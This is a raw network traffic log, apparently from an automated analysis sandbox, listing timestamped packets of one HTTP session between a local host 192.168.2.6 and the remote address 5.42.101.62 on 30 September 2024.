Sep 30, 2024 13:59:29.346633911 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.346638918 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.346669912 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.346671104 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.346679926 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.346707106 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.346712112 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.346721888 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.346733093 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.346750975 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.346771002 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.346872091 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.346911907 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.346940041 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.346951962 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.346962929 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.346972942 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.346980095 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.346982956 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.347002983 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.347021103 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.347693920 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.347706079 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.347716093 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.347738981 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.347749949 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.347759962 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.347769022 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.347795963 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.347829103 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.347841024 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.347851992 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.347866058 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.347868919 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.347879887 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.347892046 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.347913027 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.347918987 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.347934008 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.347944021 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.347950935 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.347954035 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.347980976 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.348006010 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.434953928 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.434971094 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.434993029 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.435014963 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.435025930 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.435036898 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.435049057 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.435053110 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.435053110 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.435060978 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.435071945 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.435075045 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.435081959 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.435101032 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.435115099 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.435121059 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.435122013 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.435125113 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.435137033 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.435148001 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.435158968 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.435180902 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.435180902 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.435297966 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.435713053 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.435724020 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.435734034 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.435758114 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.435770035 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.435781002 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.435791969 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.435796976 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.435803890 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.435816050 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.435816050 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.435827971 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.435851097 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.435861111 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.435870886 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.435872078 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.435883045 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.435904980 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.435904980 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.435935974 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.435952902 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.435981035 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.435992002 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.436013937 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.436013937 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.436024904 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.436037064 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.436043978 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.436048985 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.436080933 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.436080933 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.436106920 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.436119080 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.436130047 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.436141968 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.436166048 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.436166048 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.436189890 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.436192036 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.436203003 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.436213017 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.436233997 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.436245918 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.436255932 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.436258078 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.436258078 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.436266899 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.436280966 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.436299086 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.436321974 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.436332941 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.436352015 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.436373949 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.436383009 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.436386108 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.436393023 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.436398029 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.436422110 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.436424017 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.436434031 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.436444998 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.436449051 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.436463118 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.436495066 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.436513901 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.436523914 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.436533928 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.436546087 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.436557055 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.436568022 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.436573982 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.436573982 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.436613083 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.436625004 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.436649084 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.436649084 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.436665058 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.436675072 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.436680079 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.436685085 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.436706066 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.436714888 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.436717987 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.436724901 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.436728954 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.436780930 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.437026978 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.437088966 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.437119961 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.437130928 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.437143087 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.437155008 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.437164068 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.437180996 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.437180996 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.437185049 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.437195063 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.437196970 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.437201977 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.437238932 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.437249899 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.437249899 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.437261105 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.437272072 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.437299013 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.437299013 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.437328100 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.437338114 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.437349081 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.437371969 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.437371969 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.437375069 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.437386990 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.437406063 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.437417984 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.437422991 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.437422991 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.437453985 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.437474966 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.437484980 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.437494993 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.437504053 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.437544107 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.437544107 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.437566996 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.437587976 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.437597990 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.437614918 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.437624931 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.437629938 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.437629938 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.437664986 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.437674046 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.437674046 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.437674999 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.437705994 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.437712908 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.437714100 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.437724113 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.437733889 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.437764883 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.437772989 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.437783003 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.437793970 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.437793970 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.437844038 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.437844038 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.437854052 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.437864065 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.437906981 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.437906981 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.438570976 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.438631058 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.438642979 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.438652992 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.438671112 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.438671112 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.438688993 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.438699007 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.438709974 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.438721895 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.438730001 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.438730001 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.438772917 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.438783884 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.438793898 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.438806057 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.438812971 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.438812971 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.438816071 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.438841105 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.438848972 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.438860893 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.438884974 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.438884974 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.438951015 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.525855064 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.525890112 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.525902033 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.525953054 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.525963068 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.525965929 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.525965929 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.525974035 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.525985003 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.525995970 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.526015997 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.526035070 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.526036024 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.526046991 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.526051998 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.526057005 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.526092052 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.526118994 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.526129961 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.526140928 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.526159048 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.526159048 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.526273966 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.526710987 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.526721001 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.526731014 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.526770115 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.526771069 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.526770115 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.526792049 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.526803017 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.526814938 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.526851892 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.526854992 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.526865959 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.526875973 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.526887894 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.526916981 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.526916981 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.526954889 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.526967049 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.526973963 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.526979923 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.526985884 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.526993990 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.526998997 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.527041912 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.527041912 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.527054071 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.527065039 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.527098894 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.527142048 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.527152061 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.527162075 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.527174950 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.527193069 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.527193069 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.527312040 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.527611971 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.527672052 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.527715921 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.527726889 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.527738094 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.527748108 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.527760029 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.527766943 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.527810097 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.527820110 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.527832031 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.527842045 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.527852058 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.527862072 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.527872086 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.527882099 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.527882099 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.527964115 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.527975082 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.527983904 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.527985096 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.527996063 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.528006077 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.528017044 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.528026104 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.528026104 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.528068066 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.528068066 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.528094053 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.528105974 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.528115034 CEST	80	49721	5.42.101.62	192.168.2.6
